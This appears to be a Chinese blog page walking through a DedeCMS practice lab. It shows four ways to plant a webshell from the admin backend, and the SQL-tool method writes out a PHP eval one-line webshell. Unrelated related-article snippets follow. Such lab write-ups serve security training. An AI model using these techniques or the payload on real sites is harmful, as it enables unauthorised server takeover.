当前位置： 首页 > news >正文

dedecms靶场（四种webshell姿势）

news 2026/4/6 7:46:35

进入靶场

姿势一：过文件管理器上传WebShell

步骤一：登录后台 /dede

步骤二：核心-》文件式管理-》文件上传-》上传一句话木马

点击

步骤三：进行蚁剑连接

姿势二：修改模板文件拿WebShell

步骤一：模板-》默认模板管理-》index.htm-》修改-》添加一句话木马

步骤二：点击【生成】【更新主页HTML】将主页位置修改为【./index.php】点击 【生成静态】点击 【更新主页HTML】 再次访问站点首页可发现变化

步骤三：进行蚁剑连接

姿势三：后台任意命令执行拿WebShell

步骤一：模块-》广告管理-》增加一个新广告

添加一句话木马

点击代码

步骤二：进行蚁剑连接

姿势四：后台sql命令行工具拿WebShell

步骤一：系统-》sql命令行工具-》select '<?php @eval($_POST[cmd]);?>'into outfile "D:/phpstudy_pro/WWW/1.php"-》确认

步骤二：进行蚁剑连接

相关文章：

dedecms靶场（四种webshell姿势）

进入靶场 姿势一&#xff1a;过文件管理器上传WebShell 步骤一&#xff1a;登录后台 /dede 步骤二&#xff1a;核心-》文件式管理-》文件上传-》上传一句话木马 点击 步骤三&#xff1a;进行蚁剑连接 姿势二&#xff1a;修改模板文件拿WebShell 步骤一&#xff1a;模板-》默认…...

编程日记 2024/9/16 16:33:40

PHP：强大的Web开发语言

PHP&#xff1a;强大的Web开发语言 一、PHP 简介及优势 PHP 的基本概念 PHP&#xff08;PHP: Hypertext Preprocessor&#xff09;即 “超文本预处理器”&#xff0c;是一种通用开源脚本语言&#xff0c;最初由 Rasmus Lerdorf 于 1994 年创建。它可以在服务器上执行&#xf…...

编程日记 2024/9/16 16:32:39

06_Python数据类型_元组

Python的基础数据类型 数值类型&#xff1a;整数、浮点数、复数、布尔字符串容器类型&#xff1a;列表、元祖、字典、集合 元组 元组&#xff08;Tuple&#xff09;是一种不可变的序列类型&#xff0c;与列表类似&#xff0c;但有一些关键的区别。本质&#xff1a;只读的列表…...

编程日记 2024/9/16 16:31:38

【Vue】- ref获取DOM元素和购物车案例分析

文章目录 知识回顾前言源码分析1. ref2. 购物车案例分析3. 购物车计算、全选 拓展知识数据持久化localStorage 总结 知识回顾 前言 元素上使用 ref属性关联响应式数据&#xff0c;获取DOM元素 步骤 ● 创建 ref > const hRef ref(null) ● 模板中建立关联 > <h1 re…...

编程日记 2024/9/16 16:30:37

【AI大模型】ChatGPT模型原理介绍（下）

目录 &#x1f354; GPT-3介绍 1.1 GPT-3模型架构 1.2 GPT-3训练核心思想 1.3 GPT-3数据集 1.4 GPT-3模型的特点 1.5 GPT-3模型总结 &#x1f354; ChatGPT介绍 2.1 ChatGPT原理 2.2 什么是强化学习 2.3 ChatGPT强化学习步骤 2.4 监督调优模型 2.5 训练奖励模型 2.…...

编程日记 2024/9/16 16:26:33

Python数据分析与可视化实战指南

在数据驱动的时代&#xff0c;Python因其简洁的语法、强大的库生态系统以及活跃的社区&#xff0c;成为了数据分析与可视化的首选语言。本文将通过一个详细的案例&#xff0c;带领大家学习如何使用Python进行数据分析&#xff0c;并通过可视化来直观呈现分析结果。 一、环境准…...

编程日记 2024/9/16 16:19:27

react18基础教程系列-- 框架基础理论知识mvc/jsx/createRoot

react的设计模式 React 是 mvc 体系&#xff0c;vue 是 mvvm 体系 mvc: model(数据)-view(视图)-controller(控制器) 我们需要按照专业的语法去构建 app 页面&#xff0c;react 使用的是 jsx 语法构建数据层&#xff0c;需要动态处理的的数据都要数据层支持控制层: 当我们需要…...

编程日记 2024/9/16 16:18:26

牛客周赛 Round 60 折返跑（组合数学）

题目链接&#xff1a;题目 大意&#xff1a; 在 1 1 1到 n n n之间往返跑m趟&#xff0c;推 m − 1 m-1 m−1次杆子&#xff0c;每次都向中间推&#xff0c;不能推零次&#xff0c;问有多少种推法&#xff08;mod 1e97&#xff09;。 思路&#xff1a; 一个高中学过的组合数…...

编程日记 2024/9/16 16:15:23

深入浅出Java匿名内部类：用法详解与实例演示

匿名内部类&#xff08;Anonymous Inner Class&#xff09;在Java中是一种非常有用的特性&#xff0c;它允许你在一个类的定义中直接创建并实例化一个内部类&#xff0c;而不需要为这个内部类指定一个名字。匿名内部类通常用于以下几种情况&#xff1a; 实现接口&#xff1a;当…...

编程日记 2024/9/16 16:13:21

数据库MySQL、Mariadb、PostgreSQL、MangoDB、Memcached和Redis详细介绍

以下是一些常见的后端开发数据库选型&#xff1a; 关系型数据库&#xff08;RDBMS&#xff09;&#xff1a;关系型数据库是最常见的数据库类型&#xff0c;使用表格和关系模型来存储和管理数据。常见的关系型数据库包括MySQL、PostgreSQL和Oracle等。这些数据库适合处理结构化数…...

编程日记 2024/9/16 16:11:19

【ArcGIS Pro实操第七期】栅格数据合并、裁剪及统计：以全球不透水面积为例

【ArcGIS Pro实操第七期】批量裁剪&#xff1a;以全球不透水面积为例 准备&#xff1a;数据下载ArcGIS Pro批量裁剪数据集1 数据拼接2 数据裁剪3 数据统计&#xff1a;各栅格取值3.1 栅格计算器-精确提取-栅格数据特定值3.2 数据统计 4 不透水面积变化分析 参考 准备&#xff1…...

编程日记 2024/9/16 16:10:16

【Linux】Image、zImage与uImage的区别

1、Image 1.1 什么是 Image Image 是一种未压缩的 Linux 内核镜像文件&#xff0c;包含了内核的所有代码、数据和必要的元信息。它是 Linux 内核在编译过程中生成的一个原始的二进制文件&#xff0c;未经过任何压缩或额外的封装处理。由于未压缩&#xff0c;Image 文件相对较…...

编程日记 2024/9/16 16:08:14

算子加速(3):自定义cuda扩展

需要自定义某个层，或有时候用c++实现你的操作(c++扩展)可能会更好: 例如：需要实现一个新型的激活函数例如: bevfusion用cuda实现bevpool加速自定义扩展的步骤 (1) 首先用纯pytorch和python 实现我们所需的功能，看看效果再决定要不要进一步优化(2) 明确优化方向，用C++ (或CU…...

编程日记 2024/9/16 16:07:14

信息安全数学基础（14）欧拉函数

前言 在信息安全数学基础中&#xff0c;欧拉函数&#xff08;Eulers Totient Function&#xff09;是一个非常重要的概念&#xff0c;它与模运算、剩余类、简化剩余系以及密码学中的许多应用紧密相关。欧拉函数用符号 φ(n) 表示&#xff0c;其中 n 是一个正整数。 一、定义 欧…...

编程日记 2024/9/16 16:05:12

7-17 汉诺塔的非递归实现

输入样例: 3输出样例: a -> c a -> b c -> b a -> c b -> a b -> c a -> c 分析&#xff1a; 不会汉罗塔的uu们&#xff0c;先看看图解&#xff1a; 非递归代码&#xff1a; #include<iostream> #include<stack> using namespace std; s…...

编程日记 2024/9/16 16:04:11

word文档无损原样转pdf在windows平台使用python调用win32com使用pip安装pywin32

前提&#xff1a; windows环境下&#xff0c;并且安装了office套装&#xff0c;比如word,如果需要调用excel.也需要安装。在另外的文章会介绍。这种是直接调用word的。所以还原度会比较高。 需求&#xff1a; word文档转pdf,要求使用命令行形式&#xff0c;最终发布为api接口…...

编程日记 2024/9/16 16:03:10

海康威视相机在QTcreate上的使用教程

文章目录 前言&#xff1a;基础夯实&#xff1a;效果展示&#xff1a;图片展示&#xff1a;视频展示&#xff1a; 参考的资料&#xff1a;遇到问题&#xff1a;问题1&#xff1a;int64 does not问题2&#xff1a;LNK2019配置思路(这个很重要)配置关键图片&#xff1a;配置具体过…...

编程日记 2024/9/16 15:59:04

进程状态、进程创建和进程分类

文章目录 进程进程常见的状态进程调度进程状态变化关系 进程标识示例--进程标识的使用以及简介 进程创建fork函数vfork函数示例--使用fork函数创建子进程&#xff0c;并了解进程之间的关系 创建进程时发生的变化虚拟内存空间的变化示例--验证fork函数创建进程时的操作 对文件IO…...

编程日记 2024/9/16 15:48:27

java后端请求调用三方接口

java后端请求调用三方接口 /*** param serverURL http接口地址&#xff08;例&#xff1a;http://www.iwsu.top:8016/dataSyn/bay/statsCar&#xff09;* param parm 参数&#xff08;可以是json&#xff0c;也可以是json数组&#xff09;*/ public void doRestfulPostBody(St…...

编程日记 2024/9/16 15:47:26

C#使用TCP-S7协议读写西门子PLC(三)

接上篇 C#使用TCP-S7协议读写西门子PLC(二)-CSDN博客 这里我们进行封装读写西门子PLC的S7协议命令以及连接西门子PLC并两次握手 新建部分类文件SiemensS7ProtocolUtil.ReadWrite.cs 主要方法&#xff1a; 连接西门子PLC并发送两次握手。两次握手成功后&#xff0c;才真正连…...

编程日记 2024/9/16 15:46:25

春联生成模型安装包制作：一键部署exe工具开发

春联生成模型安装包制作&#xff1a;一键部署exe工具开发 1. 引言 每年春节前&#xff0c;很多朋友都想自己动手写春联&#xff0c;但要么字写得不够好看&#xff0c;要么想不出有新意的词句。现在有了AI春联生成模型&#xff0c;这个问题就简单多了。不过&#xff0c;对于不…...

编程新知 2026/4/6 7:07:57

在WSL中一键部署Phi-4-mini-reasoning：Windows开发者的Linux模型推理环境搭建

在WSL中一键部署Phi-4-mini-reasoning&#xff1a;Windows开发者的Linux模型推理环境搭建 1. 为什么选择WSL部署Phi-4-mini-reasoning 对于习惯Windows环境的开发者来说&#xff0c;直接在本地运行Linux环境下的AI模型往往是个挑战。Windows Subsystem for Linux (WSL) 提供了…...

编程新知 2026/4/6 5:22:17

OpenClaw+千问3.5-9B成本优化：夜间定时任务实战

OpenClaw千问3.5-9B成本优化&#xff1a;夜间定时任务实战 1. 为什么选择夜间执行AI自动化任务&#xff1f; 去年冬天的一个深夜&#xff0c;我被服务器告警短信吵醒。查看日志发现是日间运行的AI数据处理任务消耗了过多Token&#xff0c;触发了预算警报。这次意外让我开始思…...

编程新知 2026/4/6 5:12:14

论文精读｜AOrchestra：让编排器自动「按需创建」专属子智能体的 Agentic 框架

这篇论文来自 HKUST(GZ)&#xff08;香港科技大学广州&#xff09;和 DeepWisdom&#xff0c;联合 RUC、ECNU、UdeM & Mila 等多所院校&#xff0c;发表于 2026 年 2 月的 arXiv 预印本。论文题为 “AOrchestra: Automating Sub-Agent Creation for Agentic Orchestration”…...

编程新知 2026/4/6 4:43:27

正则表达式元字符详解：learn-regex-zh 进阶教程

正则表达式元字符详解&#xff1a;learn-regex-zh 进阶教程 【免费下载链接】learn-regex-zh :cn: 翻译: 学习正则表达式的简单方法 项目地址: https://gitcode.com/gh_mirrors/le/learn-regex-zh 正则表达式是一种强大的文本处理工具&#xff0c;而元字符是构建正则表达…...

编程新知 2026/4/6 3:45:31

WebGL/Three.js性能优化实战：你的3D模型为什么卡？从理解栅格化与渲染管线开始

WebGL/Three.js性能优化实战&#xff1a;从栅格化原理到渲染管线调优 当你用Three.js加载一个精致的3D模型时&#xff0c;是否遇到过页面突然卡顿、风扇狂转的情况&#xff1f;这背后往往与浏览器如何将矢量图形转换为屏幕像素的过程密切相关。今天我们就从栅格化的底层原理出发…...

编程新知 2026/4/6 2:38:29

Mac电脑免费小龙虾OpenClaw+Ollama使用心得

一、前言 很多人以为本地部署OpenClaw小龙虾&#xff08;原始版&#xff09;不管是调用国外大模型还是国内大模型&#xff0c;都要付费才能使用&#xff0c;并且如果是需要大耗量的token调用操作费用还不便宜。加上最近新闻发布的“龙虾”安全问题&#xff0c;因此很多人是望而…...

编程新知 2026/4/6 2:22:25

KL46Z电容触摸驱动库：TSI传感器适配与抗干扰实践

1. TSI传感器驱动库技术解析与工程实践1.1 项目背景与定位TSI&#xff08;Touch Sensing Interface&#xff09;是NXP Kinetis系列MCU内置的电容式触摸感应外设模块&#xff0c;专为低功耗、高抗噪性的人机交互应用设计。tsi_sensor是一个轻量级、可移植的固件库&#xff0c;面…...

编程新知 2026/4/6 2:18:18

OpenClaw云端体验指南：无需本地安装快速测试Phi-3-vision-128k-instruct

OpenClaw云端体验指南&#xff1a;无需本地安装快速测试Phi-3-vision-128k-instruct 1. 为什么选择云端体验OpenClaw 作为一个长期折腾本地AI部署的技术爱好者&#xff0c;我完全理解那种"想先试试再决定是否投入"的心态。去年尝试在MacBook Pro上部署Llama 2时&am…...

编程新知 2026/4/6 1:58:08

从STM32F207到F030：多路ADC采样的那些坑与填坑实录

从STM32F207到F030&#xff1a;多路ADC采样的那些坑与填坑实录 在嵌入式开发领域&#xff0c;STM32系列MCU因其出色的性能和丰富的生态而广受欢迎。然而&#xff0c;当开发者从高端系列&#xff08;如STM32F207&#xff09;转向入门级系列&#xff08;如STM32F030&#xff09;时…...

编程新知 2026/4/6 1:56:08